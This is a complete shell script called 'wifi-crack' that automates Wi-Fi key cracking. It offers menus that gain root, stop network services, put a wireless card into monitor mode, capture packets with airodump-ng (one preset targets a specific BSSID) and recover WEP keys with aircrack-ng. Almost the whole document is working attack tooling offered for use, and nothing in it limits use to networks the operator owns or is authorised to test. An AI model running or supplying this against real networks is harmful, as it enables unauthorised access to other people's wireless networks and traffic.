wifi-crack

#!/bin/sh
#
#

XTERM=${XTERM:-xterm}
alias dmenu='dmenu -nb "#333" -nf "#ccc" -sb "#111" -sf "#ff0"'

WLANS=$(echo /sys/class/net/wl* | sed "s%[^ ]*/%%g")

step() {
    cmd=$(dmenu -l 4 -p "$1")
    [ -z "$cmd" ] || $XTERM -e sh -xc "$cmd;echo Press any key..;read"
}

# Only root may pass
if [ "$(id -u)" = "0" ]
then
    echo "Running as root!"
    continue
elif { gksudo -v && gksudo -l $0 "$@"; } >/dev/null 2>&1
then
    exec gksudo -E $0 "$@"
elif sudo -v &>/dev/null && sudo -l $0 "$@" &>/dev/null
then
    exec sudo -E $0 "$@"
else
    echo -n "root "
    exec su -c "$(printf '%q ' "$@")"
fi

msg() {
    echo "$@" | xmessage -file -
}

#############

if [ "$WLANS" = "/sys/class/net/wl*" ]; then
    msg "No wireless interface found"
    exit 1
fi

for dep in airmon-ng airodump-ng aircrack-ng dmenu
do
    if ! hash "$dep" 2>/dev/null; then
	msg "The required program '$dep' must be installed"
	exit 2
    fi
done

#############

{
cat <<EOF
Wireless interfaces found: ${WLANS}
Scanning ${WLANS%% *} for available networks..
----------------------------------------------
EOF
for i in $(seq 5); do
    wpa_cli -i ${WLANS%% *} scan >/dev/null || continue
    wpa_cli -i ${WLANS%% *} scan_results && break
done | sed 's#/#\t#g' | column -t -s "	" # tab-separated fields
cat <<EOF
----------------------------------------------
Table of frequencies and channels:

Channel	Frequency (MHz)
1	2412	
2	2417	
3	2422	
4	2427	
5	2432	
6	2437	
7	2442	
8	2447	
9	2452	
10	2457	
11	2462
12	2467	(illegal in USA)
13	2472	(illegal in USA)
14	2484    (only legal in Japan)
EOF
} | xmessage -file -


#gksudo iwlist $WLANI scan | xmessage -file -

cat <<EOF | step '1. Check (and kill) programs that could interfere with the wireless card'
systemctl stop wicd networkmanager wpa_supplicant; airmon-ng check kill
/etc/rc.d/wicd stop; /etc/rc.d/networkmanager stop; pkill wpa_; airmon-ng check kill
airmon-ng check kill
airmon-ng check
exit # skip this step
EOF

{ for iw in $WLANS; do
    cat <<EOF
airmon-ng stop mon0; airmon-ng start $iw
airmon-ng stop mon0; airmon-ng start $iw 2 # (channel 2)
airmon-ng start $iw
EOF
   done
   echo 'exit # skip this step'
} | step '2. Start monitor mode (specify channel if wanted)'

MONS=$(echo /sys/class/net/mon* | sed "s%[^ ]*/%%g")

{ for mon in $MONS; do
    cat <<EOF
airodump-ng $mon -w ./wificrack --ivs --encrypt WEP  # only WEP
airodump-ng $mon -w ./wificrack --ivs -c 11 --bssid 00:01:E3:08:4C:9D
airodump-ng $mon -w ./wificrack
EOF
    done
    echo 'exit # skip this step'
} | step '3. Collect packets (must keep the terminal open)' &

# wait for dmenu to finish before we can launch it again
while pidof dmenu > /dev/null
do sleep 0.5
done

sleep 3s # also wait for some packets

cat <<EOF | step '4. Use collected packets to crack encryption'
aircrack-ng ./wificrack*.ivs -l key -f 100 # WEP increased tries (if low number of IV)
aircrack-ng ./wificrack*.ivs -l key # WEP
exit
EOF